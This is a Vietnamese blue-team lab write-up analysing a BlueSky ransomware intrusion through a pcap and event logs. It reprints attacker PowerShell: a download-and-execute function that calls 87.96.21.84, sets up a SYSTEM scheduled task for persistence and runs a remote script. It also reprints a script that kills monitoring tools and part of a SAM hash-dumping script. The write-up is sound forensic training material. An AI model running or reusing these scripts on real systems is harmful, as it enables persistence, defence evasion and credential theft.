BlueSky Ransomware Blue Team Lab

Q1: Knowing the source IP of the attack allows security teams to respond to potential threats quickly. Can you identify the source IP responsible for potential port scanning activity?

  • Mở file BlueSkyRansomware.pcap, vào Statistics->Conversations ta thấy có rất nhiều packet được truyền qua lại 2 IP là 87.96.21.8487.96.21.81. Khả năng đây chính là IP của attacker và IP đang bị scan.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Apply làm filter, ta thấy rằng tất cả các IP ở cột Destination đều là 87.96.21.84, vì thế có thể suy ra đây chính là IP đang bị scan. Submit đáp án và giải quyết xong Q1
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q2: During the investigation, it's essential to determine the account targeted by the attacker. Can you identify the targeted account username?

  • Tiếp tục nghiên cứu file BlueSkyRansomware.pcap, ta vào Statistics->Protocol Hierarchy và nhìn qua một lượt các protocol được sử dụng.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Để ý đến protocol Tabular Data System hay còn gọi tắt là TDS. Trong mạng máy tính, TDS (Tabular Data Stream) là một giao thức truyền thông được sử dụng bởi các hệ quản trị cơ sở dữ liệu Microsoft SQL Server. Giao thức TDS được thiết kế để truyền tải các truy vấn và dữ liệu giữa máy khách và máy chủ SQL Server. TDS cho phép truyền tải dữ liệu giữa ứng dụng máy khách và máy chủ SQL Server. Dữ liệu có thể bao gồm các truy vấn SQL, kết quả truy vấn, thông tin cấu trúc bảng, và các thông báo lỗi. Vì thế nên các thông tin khi đăng nhập như username và password cũng sẽ được truyền tải qua TDS.
  • Dùng protocol TDS làm filter và check qua các packet có liên quan đến login, ta lấy được thông tin về usernamepassword để submit cho Q2Q3!
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Ngoài ra, nếu như không thích sử dụng file BlueSkyRansomware.pcap, ta có thể sử dụng file .evtx(file event log) để làm câu này.
  • Mở file BlueSkyRansomware.evtx và check qua 1 lượt các event ID liên quan đến các tác vụ login cũng như CSDL, ta thấy có rất nhiều event có ID 18456 xảy ra liên tiếp. Event ID 18456 là một thông báo lỗi đăng nhập thất bại trong Microsoft SQL Server. Cụ thể có thể tìm hiểu thêm tại đây
  • Check 1 trong những event 18456, ta lấy được thông tin của usernamesa có vẻ đang bị attacker brute-force!
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q3: We need to determine if the attacker succeeded in gaining access. Can you provide the correct password discovered by the attacker?

  • Làm như Q2 nhưng câu này mình chỉ làm được theo cách sử dụng file pcap, còn sử dụng event log như cách 2 ở Q2 thì có vẻ là không làm được(do thực sự không có cách làm hoặc là do có mà mình chưa tìm ra)
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q4: Attackers often change some settings to facilitate lateral movement within a network. What setting did the attacker enable to control the target host further and execute further commands?

  • Tiếp tục sử dụng file event log và sắp xếp các event theo trình tự thời gian, ta thấy sau 1 chuỗi các event ID 18456 thể hiện cho việc bị tấn công brute-force là 1 event ID 18454 thể hiện cho việc attacker đã đăng nhập thành công vào account sa.

  • Tiếp theo sau đó, ta thấy có 2 event ID 15457. Event ID 15457 trong Microsoft SQL Server thường được ghi lại khi có thay đổi cấu hình xảy ra trên máy chủ.

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Tiếp tục check kĩ hơn 2 event này, ta thấy event thứ 2 có gọi đến xp_cmdshell. xp_cmdshell là một thủ tục mở rộng trong Microsoft SQL Server cho phép bạn thực thi các lệnh hệ điều hành từ bên trong SQL Server. Khi sử dụng xp_cmdshell, attacker có thể chạy các lệnh shell như thể đang thực thi chúng từ một cửa sổ lệnh của hệ điều hành. Chi tiết hơn tìm hiểu tại đây

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Submit đáp án và hoàn thành Q4

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q5: Process injection is often used by attackers to escalate privileges within a system. What process did the attacker inject the C2 into to gain administrative privileges?

  • Trước tiên về process injection, có thể tham khảo thêm tại các bài viết trên viblo và trên MITRE ATT&CK
  • Tiếp tục quan sát event log, sau khi event 1845415457 xảy ra như đã nêu ở câu trên, có một loạt các event có ID 600 tương tác với Window PowerShell. Điều này cho thấy các tiến trình trong máy tính đang được bật tắt liên tục 1 cách đáng ngờ cũng như là Window PowerShell đang được sử dụng để chạy lệnh đáng ngờ!
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Kiểm tra kĩ hơn, ta thấy HostApplication của các event này đều là winlogon.exe! winlogon.exe là một thành phần quan trọng của hệ điều hành Windows, chịu trách nhiệm cho nhiều chức năng liên quan đến quá trình đăng nhập và bảo mật của người dùng. Đây là một trong những mục tiêu thường thấy cho process injection vì là 1 tiến trình quan trọng với đặc quyền cao và tồn tại trong suốt phiên làm việc của người dùng!
  • Thông qua những dữ liệu research được ở trên, dự đoán rằng winlogon,exe chính là tiến trình bị inject C2(Command and Control). Lí do cho việc chỉ có thể dự đoán mà ko thể chắc chắn, cũng như chưa có thêm dữ liệu thuyết phục hơn là do mình cũng ko chuyên về Forensics(có thể nói ngoài các bài CTF cơ bản thì đây là lần đầu mình thực hiện 1 bài Forensics có tính thực tế như này). Anw, rất may dự đoán của mình dựa trên các dữ liệu research được là chính xác và đã tìm ra được đáp án của Q5
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q6: Following privilege escalation, the attacker attempted to download a file. Can you identify the URL of this file downloaded?

  • Câu này thì chỉ đơn giản là quan sát file BlueSkyRansomeware.pcap và tìm ra được URL của file. Các bước áp dụng filter để tối ưu hoá việc tìm kiếm thì rất cơ bản và mỗi người một kiểu, mình xin phép ko phát minh lại bánh xe nữa :D
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q7: Understanding which group Security Identifier (SID) the malicious script checks to verify the current user's privileges can provide insights into the attacker's intentions. Can you provide the specific Group SID that is being checked?

  • Cũng tại packet mà ta tìm thấy URL cho Q6, follow HTTP stream để quan sát nội dung của file checking.ps1, ta sẽ thấy ngay SID mà script này đang check là S-1-5-32-544!
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q8: Windows Defender plays a critical role in defending against cyber threats. If an attacker disables it, the system becomes more vulnerable to further attacks. What are the registry keys used by the attacker to disable Windows Defender functionalities? Provide them in the same order found.

  • Tiếp tục với nội dung của file checking.ps1, ta dễ dàng tìm thấy các registry keys được sử dụng đẻ disable Window Defender lần lượt là DisableAntiSpyware, DisableRoutinelyTakingAction, DisableRealtimeMonitoring, SubmitSamplesConsentSpynetReporting
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q9: Can you determine the URL of the second file downloaded by the attacker?

  • Làm tương tự câu 6 và tìm được URL http://87.96.21.84/del.ps1
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q10: Identifying malicious tasks and understanding how they were used for persistence helps in fortifying defenses against future attacks. What's the full name of the task created by the attacker to maintain persistence?

  • Tiếp tục nghiên cứu file checking.ps1, ta dễ dàng phát hiện đoạn code mà attacker sử dụng để tạo ra task \Microsoft\Windows\MUI\LPupdate
Function CleanerEtc {
    $WebClient = New-Object System.Net.WebClient
    $WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\ProgramData\del.ps1") | Out-Null
    C:\Windows\System32\schtasks.exe /f /tn "\Microsoft\Windows\MUI\LPupdate" /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create | Out-Null
    Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/ichigo-lite.ps1'))
}
  • Chức năng CleanerEtc trong đoạn mã PowerShell trên thực hiện một số hành động có thể được coi là độc hại. Hãy phân tích từng dòng mã để hiểu rõ chức năng và hành vi của nó:

Phân Tích Chi Tiết

  1. Tạo đối tượng WebClient:

    ​​​$WebClient = New-Object System.Net.WebClient
    
    • Dòng này tạo một đối tượng WebClient, cho phép thực hiện các thao tác tải dữ liệu từ web.
  2. Tải xuống một tệp PowerShell từ URL và lưu vào C:\ProgramData\del.ps1:

    ​​​$WebClient.DownloadFile("http://87.96.21.84/del.ps1", "C:\ProgramData\del.ps1") | Out-Null
    
    • Đoạn mã này tải tệp del.ps1 từ URL http://87.96.21.84/del.ps1 và lưu nó vào C:\ProgramData\del.ps1.
    • Out-Null được sử dụng để bỏ qua đầu ra của lệnh, không hiển thị bất kỳ thông tin nào.
  3. Tạo hoặc cập nhật một nhiệm vụ trong Task Scheduler:

    ​​​C:\Windows\System32\schtasks.exe /f /tn "\Microsoft\Windows\MUI\LPupdate" /tr "C:\Windows\System32\cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1" /ru SYSTEM /sc HOURLY /mo 4 /create | Out-Null
    
    • Dòng lệnh này sử dụng schtasks.exe để tạo hoặc cập nhật một nhiệm vụ tên là LPupdate dưới đường dẫn \Microsoft\Windows\MUI\.
    • Nhiệm vụ này được cấu hình để chạy lệnh cmd.exe /c powershell -ExecutionPolicy Bypass -File C:\ProgramData\del.ps1 mỗi 4 giờ (/sc HOURLY /mo 4).
    • Lệnh PowerShell này bỏ qua chính sách thực thi (-ExecutionPolicy Bypass) và thực thi tệp del.ps1.
    • Out-Null cũng được sử dụng để bỏ qua đầu ra của lệnh.
  4. Tải và thực thi một script PowerShell từ URL:

    ​​​Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://87.96.21.84/ichigo-lite.ps1'))
    
    • Dòng này tải xuống nội dung của script PowerShell từ URL http://87.96.21.84/ichigo-lite.ps1 và thực thi nội dung của nó ngay lập tức bằng Invoke-Expression.

Giải Thích Tóm Tắt

  • Mục đích: Chức năng này có mục đích tải xuống và thực thi các script PowerShell từ một máy chủ từ xa.
  • Hoạt động cụ thể:
    1. Tạo đối tượng WebClient để tải dữ liệu từ internet.
    2. Tải xuống một script PowerShell (del.ps1) từ một URL và lưu vào hệ thống cục bộ.
    3. Tạo một nhiệm vụ trong Task Scheduler để chạy script vừa tải xuống mỗi 4 giờ với quyền SYSTEM.
    4. Tải và thực thi một script PowerShell khác (ichigo-lite.ps1) từ một URL ngay lập tức.

Khả Năng Bị Lợi Dụng

  • Tải và thực thi mã độc: Kẻ tấn công có thể sử dụng đoạn mã này để tải và thực thi các script độc hại, có thể gây hại cho hệ thống hoặc đánh cắp thông tin.
  • Nhiệm vụ Task Scheduler: Bằng cách tạo nhiệm vụ chạy với quyền SYSTEM, kẻ tấn công đảm bảo rằng mã độc sẽ được thực thi định kỳ với quyền cao nhất trên hệ thống.
  • Bypass chính sách thực thi: Sử dụng -ExecutionPolicy Bypass để bỏ qua các chính sách thực thi của PowerShell, giúp mã độc có thể chạy mà không bị ngăn chặn.

Kết Luận

  • Chức năng CleanerEtc là một ví dụ điển hình về cách mà mã độc có thể sử dụng PowerShell và Task Scheduler để tải xuống, lưu trữ và thực thi mã độc từ xa, đồng thời đảm bảo mã độc được thực thi định kỳ với quyền cao. Việc hiểu rõ cách hoạt động của đoạn mã này giúp người quản trị hệ thống phát hiện và ngăn chặn các hành vi độc hại tương tự.
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Q11: According to your analysis of the second malicious file, what is the MITRE ID of the tactic the file aims to achieve?

  • Phân tích file del.ps1, ta có thể tóm tắt như sau:
Get-WmiObject _FilterToConsumerBinding -Namespace root\subscription | Remove-WmiObject

$list = "taskmgr", "perfmon", "SystemExplorer", "taskman", "ProcessHacker", "procexp64", "procexp", "Procmon", "Daphne"
foreach($task in $list)
{
    try {
        stop-process -name $task -Force
    }
    catch {}
}

stop-process $pid -Force
  • Đoạn mã PowerShell được cung cấp sử dụng các chiến thuật liên quan đến Windows Management Instrumentation (WMI) để thao tác và tắt các quy trình. Cụ thể, mã này sử dụng WMI để loại bỏ các đăng ký sự kiện WMI và sau đó buộc dừng các quy trình liên quan đến công cụ giám sát hệ thống.

Chiến thuật và ID MITRE:

  • Buộc Dừng Các Quy Trình Giám Sát:

    • Chiến thuật: Defense Evasion (Tránh né Phòng thủ)
    • MITRE ATT&CK ID: T1562.001 (Impair Defenses: Disable or Modify Tools)
    • Mô tả: Đoạn mã cố gắng dừng các quy trình liên quan đến công cụ giám sát hệ thống (như Task Manager, Process Explorer, và các công cụ khác) một cách cưỡng bức. Điều này giúp kẻ tấn công tránh bị phát hiện bằng cách vô hiệu hóa các công cụ bảo mật có thể cảnh báo hoặc ngăn chặn hoạt động của chúng.
  • Tactic chính của script này là Defense Evasion. Tiếp đó đơn giản là google.com và tìm ra được ID của nó image

Q12: What's the invoked PowerShell script used by the attacker for dumping credentials?

  • Làm tương tự Q6Q9
  • Giải thích kĩ hơn, ngoài checking.ps1del.ps1 thì còn có các file khác được tải về máy nạn nhân ichigo-lite.ps1 và từ file này lại tỉa về file Invoke-PowerDump.ps1 có chứa đoạn code dùng để dump credentials
# Load API functions from advapi32.dll
function LoadApi {
    $AdvApi32 = @"
using System;
using System.Runtime.InteropServices;

public class Advapi32
{
    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern uint RegOpenKeyEx(
        IntPtr hKey,
        string lpSubKey,
        uint ulOptions,
        uint samDesired,
        out IntPtr phkResult
    );

    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern uint RegEnumKeyEx(
        IntPtr hKey,
        uint dwIndex,
        [MarshalAs(UnmanagedType.LPStr)] System.Text.StringBuilder lpName,
        ref uint lpcbName,
        IntPtr lpReserved,
        IntPtr lpClass,
        IntPtr lpcbClass,
        out long lpftLastWriteTime
    );

    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern uint RegQueryInfoKey(
        IntPtr hKey,
        IntPtr lpClass,
        IntPtr lpcbClass,
        IntPtr lpReserved,
        out uint lpcSubKeys,
        IntPtr lpcbMaxSubKeyLen,
        IntPtr lpcbMaxClassLen,
        IntPtr lpcValues,
        IntPtr lpcbMaxValueNameLen,
        IntPtr lpcbMaxValueLen,
        IntPtr lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime
    );

    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern uint RegCloseKey(
        IntPtr hKey
    );
}
"@

    Add-Type -TypeDefinition $AdvApi32
}

# Get boot key from registry
function Get-BootKey {
    LoadApi
    $hklm = 0x80000002
    $regPath = "SYSTEM\CurrentControlSet\Control\Lsa"
    $samLSA = 0x0200
    $regHandle = [IntPtr]::Zero
    $result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
    if ($result -eq 0) {
        $lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
        $lpcbData = 0
        $lpReserved = [IntPtr]::Zero
        $dataType = 0
        $result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
        if ($result -eq 0) {
            $lpcbData = [UInt32]::new($result)
            $lpData = New-Object Byte[] $lpcbData
            $result = [Advapi32]::RegQueryValueEx($regHandle, "JD", [IntPtr]::Zero, [ref]$dataType, [Byte[]]$lpData, [ref]$lpcbData)
            if ($result -eq 0) {
                $bootKey = $lpData[0..31]
                return $bootKey
            }
        }
        [Advapi32]::RegCloseKey($regHandle)
    }
}

# Get hidden boot key from registry
function Get-HBootKey {
    $bootKey = Get-BootKey
    $hklm = 0x80000002
    $regPath = "SYSTEM\CurrentControlSet\Control\Lsa\JD"
    $samLSA = 0x0200
    $regHandle = [IntPtr]::Zero
    $result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
    if ($result -eq 0) {
        $lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
        $lpcbData = 0
        $lpReserved = [IntPtr]::Zero
        $dataType = 0
        $result = [Advapi32]::RegQueryValueEx($regHandle, "JD", [IntPtr]::Zero, [ref]$dataType, [Byte[]]$lpData, [ref]$lpcbData)
        if ($result -eq 0) {
            $hbootKey = $lpData[0..31]
            $decryptedBootKey = New-Object Byte[] 32
            for ($i = 0; $i -lt 32; $i++) {
                $decryptedBootKey[$i] = $bootKey[$i] -bxor $hbootKey[$i]
            }
            return $decryptedBootKey
        }
        [Advapi32]::RegCloseKey($regHandle)
    }
}

# Get user keys from registry
function Get-UserKeys {
    $bootKey = Get-BootKey
    $hbootKey = Get-HBootKey
    $hklm = 0x80000002
    $regPath = "SAM\Domains\Account\Users"
    $samLSA = 0x0200
    $regHandle = [IntPtr]::Zero
    $result = [Advapi32]::RegOpenKeyEx($hklm, $regPath, 0, $samLSA, [ref]$regHandle)
    if ($result -eq 0) {
        $lpData = [System.Text.Encoding]::UTF8.GetBytes(@())
        $lpcbData = 0
        $lpReserved = [IntPtr]::Zero
        $dataType = 0
        $result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
        if ($result -eq 0) {
            $subKeys = [IntPtr]::Zero
            $maxSubKeyLen = [IntPtr]::Zero
            $result = [Advapi32]::RegQueryInfoKey($regHandle, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [ref]$subKeys, [ref]$maxSubKeyLen, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
            if ($result -eq 0) {
                $lpName = New-Object System.Text.StringBuilder
                for ($i = 0; $i -lt $subKeys; $i++) {
                    $lpName.Clear()
                    $lpName.Capacity = [UInt32]::new($max

  1. LoadApi: Hàm này được sử dụng để tải các hàm API từ thư viện advapi32.dll, bao gồm các hàm để làm việc với registry như RegOpenKeyEx, RegEnumKeyEx, RegQueryInfoKey, và RegCloseKey.

  2. Get-BootKey: Hàm này trích xuất khóa khởi động (boot key) từ registry. Boot key là một phần quan trọng trong việc giải mã các hash mật khẩu được lưu trữ trong Windows.

  3. Get-HBootKey: Hàm này sử dụng boot key để giải mã khóa khởi động ẩn (hidden boot key) từ registry. Khóa khởi động ẩn được sử dụng để mã hóa các mật khẩu người dùng.

  4. Get-UserKeys: Hàm này lấy danh sách các người dùng từ registry và trả về các đối tượng PowerShell cho mỗi người dùng, bao gồm thông tin như RID (Relative Identifier), tên người dùng và vị trí của hash trong registry.

  5. DecryptHashes: Hàm này giải mã các hash mật khẩu của mỗi người dùng sử dụng boot key và khóa khởi động ẩn. Nó trả về cặp hash mật khẩu được giải mã cho mỗi người dùng.

  6. DumpHashes: Hàm này là điểm cuối của toàn bộ quy trình. Nó gọi các hàm trước đó để lấy danh sách người dùng và các hash mật khẩu tương ứng, sau đó hiển thị chúng dưới dạng chuỗi format. Đây là nơi mà tất cả các công việc cần thiết để lấy các hash mật khẩu từ registry được thực hiện.
    image

Q13: Understanding which credentials have been compromised is essential for assessing the extent of the data breach. What's the name of the saved text file containing the dumped credentials?

  • Trong file ichogo-lite.ps1, sau khi tải file Invoke-PowerDump.ps1, có 1 câu lệnh đã được encode dùng để lưu lại các dữ liệu được dump vào 1 fileimage
base64.b64decode("SW52b2tlLVBvd2VyRHVtcCB8IE91dC1GaWxlIC1GaWxlUGF0aCAiQzpcUHJvZ3JhbURhdGFcaGFzaGVzLnR4dCI=")
b'Invoke-PowerDump | Out-File -FilePath "C:\\ProgramData\\hashes.txt"'

image

Q14: Knowing the hosts targeted during the attacker's reconnaissance phase, the security team can prioritize their remediation efforts on these specific hosts. What's the name of the text file containing the discovered hosts?

  • Trong file ichigo-lite.ps1 ta thấy đoạn code sau
$hostsContent = Invoke-WebRequest -Uri "http://87.96.21.84/extracted_hosts.txt" | Select-Object -ExpandProperty Content -ErrorAction Stop
  • Tìm ra packet liên quan đến file extracted_hosts.txt và thấy nó có chứa thông tin về các hostimage
    image

Q15: After hash dumping, the attacker attempted to deploy ransomware on the compromised host, spreading it to the rest of the network through previous lateral movement activities using SMB. You’re provided with the ransomware sample for further analysis. By performing behavioral analysis, what’s the name of the ransom note file?

  • Câu này thì thực sự là mình cũng không hiểu rõ cho lắm :v!. Sau một hồi bế tắc thì mình search BlueSky ransomeware lateral movements using SMB và tại đây mình tìm ra được đáp án(vẫn là không hiểu cho lắm :v)imageimage

Q16: In some cases, decryption tools are available for specific ransomware families. Identifying the family name can lead to a potential decryption solution. What's the name of this ransomware family?

  • Đơn giản là vứt file javaw.exe lên VirusTotal và có được đáp ánimage